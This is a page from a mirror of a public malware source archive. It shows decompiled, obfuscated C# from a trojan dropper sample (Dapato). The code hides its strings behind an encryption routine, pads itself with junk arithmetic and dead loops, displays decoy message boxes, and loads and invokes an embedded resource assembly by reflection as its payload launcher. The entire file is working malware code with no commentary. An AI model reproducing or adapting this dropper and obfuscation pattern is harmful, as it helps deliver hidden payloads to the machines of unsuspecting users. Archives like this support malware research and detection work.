mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
94 lines
9.2 KiB
C#
94 lines
9.2 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type:
|
|||
|
// Assembly: App, Version=6.11.5.1, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 843578DF-6576-45E1-B6A2-485233E8A253
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.bfdc-b8ca4f2cda6f49778d6840b2eff24c49fe4212060200c667d42e2986a9ec3a86.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.Reflection;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
[StandardModule]
|
|||
|
internal sealed class \uE005
|
|||
|
{
|
|||
|
private static void \uE000()
|
|||
|
{
|
|||
|
double num1 = 30195.0;
|
|||
|
int num2 = 709;
|
|||
|
while (num2 <= 5)
|
|||
|
checked { ++num2; }
|
|||
|
num1 = 962.0;
|
|||
|
long num3 = 949556649;
|
|||
|
int num4 = 36402;
|
|||
|
num4 = 469;
|
|||
|
num3 = 298165L;
|
|||
|
double num5 = 6226967.0;
|
|||
|
int num6 = (int) MessageBox.Show(\uE008.\uE000("\uEB8A\uEBB9\uEBAF\uEBCE\uEB86\uEBBB\uEB93\uEB81\uEB9E\uEBCB\uEBC6\uEBD2\uEBCC\uEB8D\uEB6F\uEB97\uEB81\uEA6D\uEBA1\uEBC1\uEBBE\uEA6D\uEB84\uEBA1\uEBA1\uEBDB\uEBAF\uEB86\uEBB2\uEBA3\uEB99\uEBBB\uEBC7\uEBB4\uEB98쯟\uEBB5쯆\uEBC5\uEBD7\uEBAC\uEB9E\uEBA7\uEBC4\uEB9F쯦\uEBDA\uEBBE\uEBD1\uEBD4\uEB83\uEBA6\uEBAC\uEBB2\uEBD0쯡\uEBA2쯙\uEB99\uEB8A쯟쯟\uEBAE\uEBDB\uEB9E\uE939쯞\uEB84\uEBD5\uEBD5\uEBC2쯟\uEB97\uEBAA\uEB81\uEB8C\uEBB4\uEB9F\uEB6F\uEBA0쯧\uEBD0\uEB95\uEBBD\uEB8C\uEBD3\uEA6D\uEB81\uEBC3", 60242));
|
|||
|
double num7 = 279342055.0;
|
|||
|
if (82980162 <= 82)
|
|||
|
{
|
|||
|
int num8 = 5891630;
|
|||
|
while (num8 <= 99)
|
|||
|
checked { ++num8; }
|
|||
|
num7 = 9110.0;
|
|||
|
num4 = 226866007;
|
|||
|
while (true)
|
|||
|
;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
num7 = 79888.0;
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
num3 = 10L;
|
|||
|
\uE008.\uE000("\uEFEF\uEF3B\uEFDE\uEF92\uEFE7\uEF92\uEFE7\uEFD0\uEFE6\uEF9B\uEF9E\uEFFA\uEFEE\uEFF2\uEF99\uEFD2\uEFD8\uEFE6\uEFE1쾛\uEF8C\uEFE0\uEFFF\uEF93\uEFDF\uEFCD\uEF97\uEFD7\uEF9C\uEFEF\uEFC2\uEFC3\uEF37\uEFFA\uEFD9\uEF86\uEFE8\uEFE7\uEFF1\uEFDB\uEEDA\uEF9A\uEFFC\uEF83\uEFCC\uEFF7\uEFD5\uEE28\uEF9B\uEFCB\uEFDE\uEFE4\uEFE9\uEFE8\uEEC7\uEFE1\uEFE0\uEFEF\uEFC2\uEF37\uEE28\uEFDE\uEF9C\uEF86\uEF87\uEFFC\uEF8E\uEFC2\uEFC3\uEFDF\uEF8A쾢\uEF95\uEFFF\uEF85\uEFE3쾣쾠쾠\uEFF0\uEFEB\uEFC7\uEF9E\uEFCC\uEF8E\uEF81\uEFE3켖\uEFDD\uEFC9\uEFE0\uEF35\uEFCD\uEFEB\uEFCB\uEFFF\uEEE8\uEF90\uEF35\uEFF5\uEF82쾊\uEF93\uEFF4\uEFDA\uEFDF\uEFF5\uEF94\uEF89\uEFEE\uEFE6\uEFD1\uEFDF\uEFF4\uEFE1\uEF9C\uEFE5\uEFF8\uEF9D켖\uEFFD\uEF8A\uEF9F\uEF90\uEF8E\uEF83\uEFCA", 61370);
|
|||
|
num4 = 4013743;
|
|||
|
\uE008.\uE000("\uE758\uE75B\uE7AB\uE74F\uE718\uE741\uE701\uE74A\uE760\uE6A9\uE709\uE76B\uE717\uE756\uE702\uE712윚\uE707\uE75D\uE70F\uE74B\uE71B\uE7AB\uE76B\uE761\uE718\uE753\uE77C\uE748\uE75F\uE704\uE76A\uE71F\uE7B4\uE767\uE741\uE775\uE745\uE762윋\uE717\uE77C\uE74F\uE75C\uE700\uE743\uE741\uE7AB\uE749\uE774\uE669\uE70D\uE753\uE702\uE711\uE759\uE758\uE75B\uE702\uE71B\uE709윝윣윋\uE75F\uE748\uE777\uE714\uE70B\uE769\uE755\uE713\uE74E\uE754\uE71C\uE773\uE704\uE772\uE70F\uE74E\uE700\uE751\uE753\uE778\uE750\uE713\uE747\uE746윥\uE7B6\uE70D\uE7BA\uE75F\uE762\uE74C\uE701\uE773\uE745\uE767\uE770\uE751\uE744\uE77B\uE74F\uE6A9\uE76F윂\uE709\uE74F\uE778\uE702\uE770\uE76D\uE74C\uE761\uE706\uE755\uE706\uE767윋\uE75A\uE706\uE70E\uE700잗\uE76C\uE707윂잗\uE71B\uE768\uE77D\uE757\uE772\uE758\uE746\uE77C\uE759\uE740\uE75C윥\uE750\uE70B\uE751\uE7B4\uE76E\uE716\uE74F\uE707\uE7B4\uE756\uE75A\uE762\uE75F\uE747\uE777\uE751", 59170);
|
|||
|
num4 = 633;
|
|||
|
num5 = 20756.0;
|
|||
|
num7 = 19.0;
|
|||
|
\uE008.\uE000("\uE6CA\uE449\uE6D7\uE6C7\uE6F5\uE6D4욗\uE6FA\uE6CC\uE60E\uE6DE\uE6FC\uE6D5\uE6CC\uE6D8\uE6F0\uE7DD\uE6D4\uE6B4\uE6AF\uE6CA\uE6A1\uE6EB\uE6AA\uE6AE용옣\uE6B6\uE60E\uE6DB\uE6DA\uE6DD\uE6B6\uE6D5\uE6A7\uE6D2욿\uE6DF\uE6E6\uE6EB\uE6B0\uE6CF\uE6BC\uE6F5\uE6D3\uE6F2\uE6BC\uE6DF\uE6E3\uE6B9\uE6AF\uE6CA\uE6A9\uE6C1\uE6B6\uE6CB\uE6DD\uE6C9욮\uE6E2\uE6F7욮욕\uE6C3욗\uE6D5욖\uE6B5\uE602욿", 59015);
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
\uE008.\uE000("\uE78E\uE7C6\uE790\uE795\uE7B2쟤쟜\uE7A2\uE7C5\uE77D\uE7B7\uE773\uE78C\uE76C\uE7CD\uE7A6\uE794\uE78D\uE79C\uE771\uE7A2\uE790\uE7BE\uE7D3\uE53A\uE7CD쟅\uE79B\uE797", 59324);
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public static void \uE001() => Assembly.Load(App.My.Resources.Resources.\uE003).GetType(\uE008.\uE000("\uF896\uF8B2\uF8B8\uF8A9\uF8B4\uF8A8\uF8B4\uF8BD\uF8AF\uF8E8\uF8E9\uF8F5\uF898\uF8B7\uF8BA\uF8A8\uF8A8\uF8EA", 63706)).InvokeMember(\uE008.\uE000("\uEBD3\uEBFF\uEBF7\uEBF0", 60306), BindingFlags.InvokeMethod, (Binder) null, (object) null, new object[0]);
|
|||
|
|
|||
|
private static object \uE002()
|
|||
|
{
|
|||
|
int num1 = (int) MessageBox.Show(\uE008.\uE000("훅\uF6AD\uF6A7훦훅\uF694훾\uF69A\uF697\uF6FB\uF696\uF69D\uF6FA\uF6B3훅\uF6A4\uF68D\uF693\uF691\uF6E3\uF682\uF6B8\uF693\uF6AE\uF6F7\uF6B8\uF6B2\uF6BA\uF6E7\uF6E1\uF69F\uF689\uF6FE\uF69A\uF6EB\uF6B2\uF6B7\uF6AB\uF6BB훾\uF689\uF6E3\uF6EA\uF6B3\uF6BD\uF699\uF6E0훇\uF6A8\uF6B2\uF65E\uF68C\uF6EF\uF696\uF68D\uF6E5\uF699\uF6F8훅\uF6E4\uF6AF\uF69E\uF6F2\uF6F5\uF6A8훹\uF69E\uF6AC\uF688\uF6EB\uF6EC\uF6AF\uF6A4\uF685\uF6A6\uF69E\uF68D\uF6AC\uF6F1\uF6AA\uF698\uF6B0홳\uF682\uF690\uF6A0\uF69A\uF6B5훿\uF652\uF698\uF6BE훁\uF697\uF6E9\uF6EB\uF6F1\uF6F5\uF419\uF6AF\uF6FB\uF680\uF686\uF6BC\uF685\uF6EE\uF6B4\uF6B6\uF6BC\uF6EE\uF6A5\uF6B9훦\uF6F2훾\uF6FE\uF68B\uF6BD\uF6B1\uF7BF\uF680\uF6B6홳\uF682홳\uF6BA\uF6A1\uF68D\uF69C\uF6BB\uF6ED\uF697\uF6A2\uF68E\uF6AF\uF6A4\uF6EA\uF6E2\uF6FC\uF6E1\uF6EC\uF6B0\uF6F8\uF6AA\uF6ED\uF6AC\uF6B7\uF6A8\uF68B\uF6EA\uF6AD\uF681\uF691\uF64F\uF6EF\uF692\uF6AE\uF650\uF6AA\uF419\uF69A\uF6E6\uF69A훇훇\uF68D\uF6A4\uF685\uF68F\uF6F3\uF6A1\uF6E8\uF680\uF68F\uF6A9\uF74D\uF6BD\uF6F4\uF694\uF6F3\uF650\uF6F8\uF64F\uF6F1훹\uF6B9\uF78D홳\uF69F\uF69D\uF6F6\uF6E6\uF685\uF6F1", 63195));
|
|||
|
int num2 = (int) MessageBox.Show(\uE008.\uE000("엧\uE5E3\uE5E5\uE5E9\uE5F2\uE595\uE587\uE4A3\uE5E4\uE5F3\uE5BB\uE5B1\uE58E\uE589\uE5A2\uE586\uE587\uE596\uE5B5\uE5EA엄\uE5AD\uE5B6\uE5A8\uE597\uE5B8\uE4A3\uE5B8엇\uE589\uE588\uE5B6엸\uE5E8\uE5B0\uE5AC\uE5EC\uE551\uE595\uE5E7\uE551엸\uE5E7\uE59B\uE5A6\uE5A0\uE5BC\uE587\uE58E\uE5A5\uE59A\uE5E0엧\uE58D\uE5F6\uE583\uE5BB\uE58D\uE5AB\uE5A9\uE583\uE599\uE5E5\uE5B7\uE581\uE551\uE5A2\uE5E4\uE5A2\uE5F4\uE598\uE582\uE551\uE58F\uE5E9\uE551\uE584\uE59C없\uE583\uE5FA\uE58A\uE5E8\uE5E9\uE5EC\uE5E9\uE5AE\uE58F\uE5F3\uE5EF\uE5F2\uE5AC\uE5E4\uE5B8\uE5B0\uE5B9\uE5B4\uE5BD\uE5A6\uE5A2\uE597\uE5B1\uE598\uE58A\uE5A5\uE59F\uE587\uE5E2\uE5F5\uE59B\uE58B\uE5E9\uE5AC\uE5F6\uE5EF\uE5FA\uE588\uE599\uE5E0\uE595\uE5F2\uE5B5\uE54E\uE5B8\uE59C\uE596\uE5A8\uE5BC", 58820));
|
|||
|
int num3 = 2;
|
|||
|
int num4 = 7;
|
|||
|
int num5 = (int) MessageBox.Show(\uE008.\uE000("\uE41F\uE41E\uE404\uE430\uE447\uE429\uE41A\uE410\uE4FC\uE426\uE44F\uE431\uE51D\uE41E\uE4FC\uE51D\uE433\uE401\uE451\uE449\uE42C\uE43F\uE445\uE435\uE42D\uE417\uE424쓑\uE500\uE448\uE40F\uE43A\uE43B\uE423\uE43C\uE40C\uE433쑍\uE405\uE423쓑\uE404\uE43E쑤\uE45D\uE457\uE43C쑝\uE40A\uE415\uE417\uE425\uE41F\uE429\uE437\uE442\uE437\uE42C\uE4ED\uE41E\uE4F0\uE407\uE40F\uE416\uE406\uE403\uE45B\uE431\uE43F\uE44D\uE421\uE425\uE459\uE41D\uE43B\uE416쑤\uE444\uE43A\uE43B\uE434\uE41B\uE455\uE43B\uE420\uE447\uE405쑛\uE44E\uE45C\uE43B\uE4F2\uE52F\uE448\uE41E\uE45B\uE45A\uE417\uE44B\uE449\uE459쑜\uE41E\uE41A\uE456\uE44F\uE429\uE45C\uE450\uE40F\uE43D\uE44C\uE454\uE414\uE444\uE43A\uE40F\uE431\uE453\uE41D\uE45B\uE44E\uE444\uE43D\uE400\uE41D\uE422\uE4FC\uE4F2\uE43D\uE41E\uE43A\uE448\uE43F\uE429\uE428\uE447\uE436\uE404\uE40B\uE40A\uE42E\uE40E\uE449쑝\uE43F\uE500\uE441\uE43B\uE413\uE426\uE414\uE450\uE5EF\uE413\uE43F\uE400\uE423\uE41B\uE418\uE459", 58472));
|
|||
|
string str = \uE008.\uE000("\uF507\uF50A\uF524\uF515\uF51F핃\uF529\uF543\uF53B\uF55E\uF5EA핻\uF5F5\uF530\uF518\uF528\uF536\uF529\uF540\uF54F\uF50B\uF526\uF549\uF540\uF553\uF523\uF536\uF543\uF51F\uF55C\uF55C핽\uF534\uF5F5\uF500\uF551\uF54D\uF53B\uF545헉\uF543\uF552\uF50D\uF437\uF548\uF503\uF557\uF50F\uF506\uF556\uF552\uF534\uF52E\uF54F\uF55B\uF506\uF559\uF53F\uF536\uF534\uF520\uF55A\uF521핽\uF536\uF545핿\uF50C\uF520\uF534핿\uF541\uF558\uF502\uF549\uF532\uF54E\uF54D\uF516\uF525\uF52B\uF553\uF540\uF544\uF53A\uF543핅\uF523\uF501\uF51A\uF53E\uF54C\uF504\uF53F\uF51F핃\uF503\uF418\uF508\uF503\uF526\uF544\uF55B\uF510\uF522\uF529\uF548\uF530\uF557\uF54E\uF555\uF534\uF516\uF554핕\uF54D\uF55B\uF545\uF534\uF529\uF548\uF53E\uF541\uF53D\uF7A3\uF51C\uF530\uF510헉\uF55F핻\uF555\uF528\uF549\uF5F5\uF528\uF405\uF527\uF508\uF556한\uF535\uF551\uF53D\uF50A\uF54C\uF52D\uF535\uF501\uF514\uF503\uF500", 62785);
|
|||
|
if (10545266 <= 3317)
|
|||
|
{
|
|||
|
num3 = 128250;
|
|||
|
str = \uE008.\uE000("\uF6B8\uF68A\uF6B8\uF6CF\uF6CD\uF6B0\uF697\uF6A9\uF6CB\uF685\uF6BB\uF6CD\uF696\uF6CC\uF6CF\uF6CE\uF6CB\uF6BE\uF6C6\uF6B7\uF6AA\uF6C7\uF6B0\uF6C6\uF697\uF6C8\uF6CE\uF685\uF696\uF6A6\uF6B6\uF6AB\uF6A5\uF69A\uF6B8\uF6C6\uF69B\uF6CD\uF69D\uF6A6\uF685\uF6AE\uF6B9\uF6AA\uF6B8\uF690\uF69A\uF6C7\uF685\uF69C\uF6C7\uF6CE\uF687\uF689\uF698\uF697\uF6B5\uF696\uF6B2\uF69E\uF6C8\uF6AA\uF695\uF6BA\uF6BD\uF692\uF69D\uF6CA\uF6A7\uF6B7\uF6CD\uF68A\uF6CC\uF698\uF68D\uF69A\uF691\uF6B9\uF6CE\uF685\uF698\uF6CD\uF6CF\uF6CE\uF69E\uF6B5\uF6B8\uF6B0\uF6B5\uF6B8\uF6CF\uF691\uF694\uF6BE\uF6C8", 63220);
|
|||
|
while (true)
|
|||
|
num4 = 65705;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
while (true)
|
|||
|
;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|